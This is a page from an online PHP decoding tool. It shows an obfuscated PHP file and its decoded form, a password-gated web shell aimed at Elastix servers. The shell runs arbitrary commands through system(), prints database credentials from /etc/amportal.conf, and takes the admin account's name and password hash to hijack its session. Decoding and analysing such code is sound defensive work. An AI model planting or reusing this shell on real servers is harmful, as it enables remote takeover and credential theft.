Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /*J6ms9ISO3OYM0odFP9XGbANJPVwzTX*/eval(/*gcz9ARibNjBiCqrYOi9XWCN6*/base64_decode/*E4..
Decoded Output download
/*Rtqmjzmu28RfcJSa927tEueDdQZRabkfzpzsuH2QWJdLMIcfoq1Ojg4kchtXTEtMorTkgd7S0EHiD62kdifVbRBda8QsUkAu6CgrHS1jseLVZ39xQnmB1vi*/
session_name("elastixSession");
session_start();
if (isset($_REQUEST['p']) && md5($_REQUEST['p']) == '91ee167499abeb07325e565e58524c1f') {
$_SESSION['zoz'] = 'logged';
}
if (!isset($_SESSION['zoz'])) {
echo '<form action = "" method = "post" ><input size = 60 type = text name = "p" /><input type = submit value = "log" /></form>';
}
/*Rtqmjzmu28RfcJSa927tEueDdQZRabkfzpzsuH2QWJdLMIcfoq1Ojg4kchtXTEtMorTkgd7S0EHiD62kdifVbRBda8QsUkAu6CgrHS1jseLVZ39xQnmB1vi*/
if (isset($_SESSION['zoz']) && $_SESSION['zoz'] == 'logged') {
echo '<form action = "" method = "post" ><input size = 60 type = text name = "c" /><input type = submit value = "do" /></form>';
echo "<xmp>";
@system("grep AMPDB /etc/amportal.conf");
echo "---------------------
";
@system($_REQUEST['c']);
echo "</xmp>";
include_once "/var/www/html/libs/paloSantoDB.class.php";
include_once "/var/www/html/libs/paloSantoACL.class.php";
$pDB = new paloDB("sqlite3:////var/www/db/acl.db");
$db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'");
$_SESSION['elastix_user'] = $db[0][0];
$_SESSION['elastix_pass'] = $db[0][1];
echo '<a href="/" >zoz</a>';
}
/*Rtqmjzmu28RfcJSa927tEueDdQZRabkfzpzsuH2QWJdLMIcfoq1Ojg4kchtXTEtMorTkgd7S0EHiD62kdifVbRBda8QsUkAu6CgrHS1jseLVZ39xQnmB1vi*/
Did this file decode correctly?
Original Code
<?php /*J6ms9ISO3OYM0odFP9XGbANJPVwzTX*/eval(/*gcz9ARibNjBiCqrYOi9XWCN6*/base64_decode/*E4dMBOoe09xsrf9diayjAexCdF68*/(/*Qk1qWgfBEoxbNFpWUBqyI3lKaltkwd*/'LypSdHFtanptdTI4UmZjSlNhOTI3dEV1ZURkUVpSYWJrZnpwenN1SDJRV0pkTE1JY2ZvcTFPamc0a2NodFhURXRNb3JUa2dkN1MwRUhpRDYya2RpZlZiUkJkYThRc1VrQXU2Q2dySFMxanNlTFZaMzl4UW5tQjF2aSovCnNlc3Npb25fbmFtZSgiZWxhc3RpeFNlc3Npb24iKTsKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydwJ10pICYmIG1kNSgkX1JFUVVFU1RbJ3AnXSkgPT0gJzkxZWUxNjc0OTlhYmViMDczMjVlNTY1ZTU4NTI0YzFmJykgewogICAgJF9TRVNTSU9OWyd6b3onXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWyd6b3onXSkpIHsKICAgIGVjaG8gJzxmb3JtIGFjdGlvbiA9ICIiIG1ldGhvZCA9ICJwb3N0IiA+PGlucHV0IHNpemUgPSA2MCB0eXBlID0gdGV4dCBuYW1lID0gInAiIC8+PGlucHV0IHR5cGUgPSBzdWJtaXQgdmFsdWUgPSAibG9nIiAvPjwvZm9ybT4nOwp9Ci8qUnRxbWp6bXUyOFJmY0pTYTkyN3RFdWVEZFFaUmFia2Z6cHpzdUgyUVdKZExNSWNmb3ExT2pnNGtjaHRYVEV0TW9yVGtnZDdTMEVIaUQ2MmtkaWZWYlJCZGE4UXNVa0F1NkNnckhTMWpzZUxWWjM5eFFubUIxdmkqLwppZiAoaXNzZXQoJF9TRVNTSU9OWyd6b3onXSkgJiYgJF9TRVNTSU9OWyd6b3onXSA9PSAnbG9nZ2VkJykgewogICAgZWNobyAnPGZvcm0gYWN0aW9uID0gIiIgbWV0aG9kID0gInBvc3QiID48aW5wdXQgc2l6ZSA9IDYwIHR5cGUgPSB0ZXh0IG5hbWUgPSAiYyIgLz48aW5wdXQgdHlwZSA9IHN1Ym1pdCB2YWx1ZSA9ICJkbyIgLz48L2Zvcm0+JzsKICAgIGVjaG8gIjx4bXA+IjsKICAgIEBzeXN0ZW0oImdyZXAgQU1QREIgL2V0Yy9hbXBvcnRhbC5jb25mIik7CiAgICBlY2hvICItLS0tLS0tLS0tLS0tLS0tLS0tLS1cbiI7CiAgICBAc3lzdGVtKCRfUkVRVUVTVFsnYyddKTsKICAgIGVjaG8gIjwveG1wPiI7CiAgICBpbmNsdWRlX29uY2UgIi92YXIvd3d3L2h0bWwvbGlicy9wYWxvU2FudG9EQi5jbGFzcy5waHAiOwogICAgaW5jbHVkZV9vbmNlICIvdmFyL3d3dy9odG1sL2xpYnMvcGFsb1NhbnRvQUNMLmNsYXNzLnBocCI7CiAgICAkcERCID0gbmV3IHBhbG9EQigic3FsaXRlMzovLy8vdmFyL3d3dy9kYi9hY2wuZGIiKTsKICAgICRkYiA9ICRwREItPmZldGNoVGFibGUoIlNFTEVDVCBuYW1lLCBtZDVfcGFzc3dvcmQsZXh0ZW5zaW9uIGZyb20gYWNsX3VzZXIgV0hFUkUgaWQgPScxJyIpOwoKICAgICRfU0VTU0lPTlsnZWxhc3RpeF91c2VyJ10gPSAkZGJbMF1bMF07CiAgICAkX1NFU1NJT05bJ2VsYXN0aXhfcGFzcyddID0gJGRiWzBdWzFdOwogICAgZWNobyAnPGEgaHJlZj0iLyIgPnpvejwvYT4nOwp9Ci8qUnRxbWp6bXUyOFJmY0pTYTkyN3RFdWVEZFFaUmFia2Z6cHpzdUgyUVdKZExNSWNmb3ExT2pnNGtjaHRYVEV0TW9yVGtnZDdTMEVIaUQ2MmtkaWZWYlJCZGE4UXNVa0F1NkNnckhTMWpzZUxWWjM5eFFubUIxdmkqLwo='));/*YljCgQhgsZBQV3p81pmrrx04EoNrT*/?>
Function Calls
| base64_decode | 1 |
Stats
| MD5 | a93015c2a1189232fe58e7ec6cdf6bbc |
| Eval Count | 1 |
| Decode Time | 100 ms |